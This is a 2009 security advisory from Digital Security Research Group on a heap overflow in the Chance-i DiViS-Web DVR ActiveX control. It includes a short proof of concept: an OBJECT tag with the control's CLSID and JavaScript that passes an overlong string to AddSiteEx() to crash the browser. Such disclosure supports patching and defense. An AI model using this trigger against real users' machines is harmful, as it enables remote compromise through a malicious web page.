Services Vulnerabilities Exploits Publications News About DSecRG


[DSECRG-09-035] Chance-i DiViS DVR ActiveX - Heap Overflow

DiViS-Web ActiveX (ActiveView.cab) has a Heap Overflow vulnerability.

A Heap overflow vulnerability was found in AddSiteEx() function.

Application: Chance-i DiViS-Web DVR System ActiveX control (part of DiViS DVR)
Versions Affected: 3,0,0,21 (DiViS DVR less 11.10.2)
Vendor URL: http://www.divisdvr.com/
Bug: Heap Overflow
Exploits: YES
Reported: 13.03.2009
Second Reported: 20.03.2009
Vendor response: 12.05.2009
Solution: YES
Date of Public Advisory: 09.04.2009
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Details
*******

There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send to their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.

The problem arises due to passing an overly long string to the AddSiteEx
method of the control.

PoC:

<OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
<PARAM NAME="_Version" VALUE="65536">
<PARAM NAME="_ExtentX" VALUE="18203">
<PARAM NAME="_ExtentY" VALUE="13705">
<PARAM NAME="_StockProps" VALUE="0">
<PARAM NAME="Split" VALUE="4">
</OBJECT>

//server address
var g_sAddress = location.hostname;
var g_sId = "";
var g_sPwd = "";
var g_bLogin = false;
var g_nMaxCamera = 16;

// Port setting
var g_nImage = 3000;
var g_nControl = 3001;
var g_nSound = 8800;

var long_buff = "alexsint";

while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

DVR.Channels = 1;

DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll



Solution
********

Vendor response:

This vulnerability does not apply from software version 11.10.2 or later.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.dsec.ru

Vulnerabilities RSS RSS
04.02.2010
[DSECRG-09-065] TuvNetworks TVUPlayer ActiveX component - Insecure method

11.01.2010
[DSECRG-09-011] HP StorageWorks 1/8 G2 Tape Autoloader - privilege escalation, DOS

16.11.2009
[DSECRG-09-062] Alteon OS BBI (Nortel) - Multiple Vulnerabilities

26.10.2009
[DSECRG-09-010] Oracle Database 10G CTXSYS.DRVXTABX - PLSQL Injection

07.10.2009
[DSECRG-09-017] SAP GUI vsflexGrid ActiveX - Buffer Overflow vulnerability

07.10.2009
[DSECRG-09-048] HP LaserJet printers - Multiple Stored XSS (Script injection) vulnerabilities

Vulnerabilities list


© 2002—2010, Digital Security
For quoting or using materials from this site
link is obligatory

+7 (812) 703-1547, +7 (812) 430-9130    e-mail: research@dsecrg.com
Rss: Vulnerabilities, Exploits, News, Publications, Summary
Search